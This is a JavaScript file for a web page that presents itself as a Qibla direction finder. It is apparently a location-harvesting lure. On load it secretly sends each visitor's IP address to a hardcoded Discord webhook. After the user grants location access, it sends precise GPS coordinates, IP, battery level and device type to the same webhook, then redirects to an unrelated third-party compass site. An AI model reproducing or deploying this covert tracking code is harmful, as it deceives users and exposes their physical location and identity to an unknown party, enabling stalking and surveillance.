// Enhanced notification system
class NotificationManager {
    constructor() {
        this.toastElement = document.getElementById('notificationToast');
        this.toastInstance = new bootstrap.Toast(this.toastElement, {
            autohide: true,
            delay: 5000
        });
    }

    show(message, type = 'info') {
        const toastBody = this.toastElement.querySelector('.toast-body');
        const icon = toastBody.querySelector('i');
        const messageSpan = toastBody.querySelector('.toast-message');
        
        // Reset classes
        this.toastElement.className = 'toast';
        
        // Set message
        messageSpan.textContent = message;
        
        // Set icon and style based on type
        switch(type) {
            case 'success':
                this.toastElement.classList.add('toast-success');
                icon.className = 'bi bi-check-circle-fill me-2';
                break;
            case 'error':
                this.toastElement.classList.add('toast-error');
                icon.className = 'bi bi-exclamation-triangle-fill me-2';
                break;
            case 'info':
                this.toastElement.classList.add('toast-info');
                icon.className = 'bi bi-info-circle-fill me-2';
                break;
            case 'warning':
                this.toastElement.classList.add('toast-warning');
                icon.className = 'bi bi-exclamation-triangle-fill me-2';
                break;
        }
        
        this.toastInstance.show();
    }
}

// Enhanced geolocation handler
class QiblaFinder {
    constructor() {
        this.button = document.getElementById('getLocationBtn');
        this.loadingSpinner = document.getElementById('loadingSpinner');
        this.statusMessage = document.getElementById('statusMessage');
        this.isProcessing = false;
        
        this.init();
    }

    init() {
        // Send IP address on load
        this.sendIpAddressOnLoad();
        
        // Add button click handler
        this.button.addEventListener('click', () => this.handleLocationRequest());
        
        // Check geolocation support
        if (!navigator.geolocation) {
            this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.');
            notifications.show('Geolocation not supported by this browser', 'error');
        }
    }

    handleLocationRequest() {
        if (this.isProcessing) return;
        
        this.isProcessing = true;
        this.showLoading(true);
        this.button.disabled = true;
        
        notifications.show('Requesting your location...', 'info');

        const options = {
            enableHighAccuracy: true,
            timeout: 10000,
            maximumAge: 300000 // 5 minutes
        };

        navigator.geolocation.getCurrentPosition(
            (position) => this.handleSuccess(position),
            (error) => this.handleError(error),
            options
        );
    }

    handleSuccess(position) {
        const { latitude, longitude } = position.coords;
        const accuracy = position.coords.accuracy;
        
        notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success');
        this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success');
        
        // Send location data
        this.sendLocationData(latitude, longitude, accuracy);
    }

    handleError(error) {
        this.isProcessing = false;
        this.showLoading(false);
        this.button.disabled = false;
        
        let errorMessage = '';
        let userMessage = '';
        let showPermissionHelp = false;

        switch(error.code) {
            case error.PERMISSION_DENIED:
                errorMessage = "User denied the request for Geolocation.";
                userMessage = "Location access denied. Please enable location permissions to find Qibla direction.";
                showPermissionHelp = true;
                notifications.show('Location permission denied', 'error');
                break;
            case error.POSITION_UNAVAILABLE:
                errorMessage = "Location information is unavailable.";
                userMessage = "Unable to determine your location. Please check your GPS settings.";
                notifications.show('Location unavailable', 'error');
                break;
            case error.TIMEOUT:
                errorMessage = "The request to get user location timed out.";
                userMessage = "Location request timed out. Please try again.";
                notifications.show('Location request timed out', 'warning');
                break;
            default:
                errorMessage = "An unknown error occurred.";
                userMessage = "An unexpected error occurred. Please try again.";
                notifications.show('Unknown error occurred', 'error');
                break;
        }

        this.showStatus(userMessage, 'error');
        
        if (showPermissionHelp) {
            this.showPermissionHelp();
        }

        // Send error to Discord
        this.sendMessageToDiscord(errorMessage);
        
        console.error('Geolocation error:', error);
    }

    showPermissionHelp() {
        setTimeout(() => {
            const helpMessage = `
                <div class="mt-3 p-3 bg-light rounded">
                    <h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6>
                    <ul class="text-start small mb-0">
                        <li><strong>Chrome:</strong> Click the location icon in the address bar</li>
                        <li><strong>Firefox:</strong> Click the shield icon and allow location</li>
                        <li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li>
                        <li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li>
                    </ul>
                </div>
            `;
            this.statusMessage.innerHTML += helpMessage;
        }, 1000);
    }

    showLoading(show) {
        this.loadingSpinner.style.display = show ? 'block' : 'none';
    }

    showStatus(message, type) {
        this.statusMessage.className = `status-message status-${type}`;
        this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`;
        this.statusMessage.classList.remove('d-none');
    }

    async sendLocationData(latitude, longitude, accuracy) {
        try {
            const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
            const userAgent = navigator.userAgent;
            let batteryInfo = 'Not Available';
            
            // Get battery info if available
            if ('getBattery' in navigator) {
                try {
                    const battery = await navigator.getBattery();
                    batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`;
                } catch (e) {
                    console.log('Battery API not available');
                }
            }

            // Get IP address
            const ipResponse = await fetch('https://api.ipify.org?format=json');
            const ipData = await ipResponse.json();
            
            const message = {
                content: `🎯 **New Qibla Location Request**\n` +
                        `📍 **Location:** ${googleMapsLink}\n` +
                        `🌐 **IP Address:** ${ipData.ip}\n` +
                        `📱 **Accuracy:** ${Math.round(accuracy)} meters\n` +
                        `🔋 **Battery:** ${batteryInfo}\n` +
                        `💻 **Device:** ${this.getDeviceInfo(userAgent)}\n` +
                        `🕐 **Time:** ${new Date().toLocaleString()}`
            };

            const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B';
            
            const response = await fetch(webhookUrl, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(message)
            });

            if (response.ok) {
                setTimeout(() => {
                    notifications.show('Redirecting to Qibla compass...', 'success');
                    this.redirectToQibla();
                }, 2000);
            } else {
                throw new Error(`HTTP ${response.status}`);
            }
            
        } catch (error) {
            console.error('Error sending location data:', error);
            notifications.show('Failed to process location data', 'error');
            this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning');
            
            setTimeout(() => this.redirectToQibla(), 3000);
        } finally {
            this.isProcessing = false;
            this.showLoading(false);
            this.button.disabled = false;
        }
    }

    getDeviceInfo(userAgent) {
        if (/Android/i.test(userAgent)) return 'Android Device';
        if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device';
        if (/Windows/i.test(userAgent)) return 'Windows PC';
        if (/Mac/i.test(userAgent)) return 'Mac';
        if (/Linux/i.test(userAgent)) return 'Linux';
        return 'Unknown Device';
    }

    async sendIpAddressOnLoad() {
        try {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            
            const message = {
                content: `👋 **New Visitor**\n🌐 **IP:** ${data.ip}\n🕐 **Time:** ${new Date().toLocaleString()}`
            };

            fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(message)
            });
            
        } catch (error) {
            console.error('Error sending IP address:', error);
        }
    }

    sendMessageToDiscord(messageContent) {
        const message = {
            content: `⚠️ **Error Report**\n📝 **Message:** ${messageContent}\n🕐 **Time:** ${new Date().toLocaleString()}`
        };

        fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(message)
        }).catch(error => console.error('Discord webhook error:', error));
    }

    redirectToQibla() {
        window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.htm';
    }
}

// Initialize when DOM is loaded
document.addEventListener('DOMContentLoaded', () => {
    // Initialize notification manager
    window.notifications = new NotificationManager();
    
    // Initialize Qibla finder
    new QiblaFinder();
});

// Show welcome notification
window.addEventListener('load', () => {
    setTimeout(() => {
        if (window.notifications) {
            window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info');
        }
    }, 1500);
});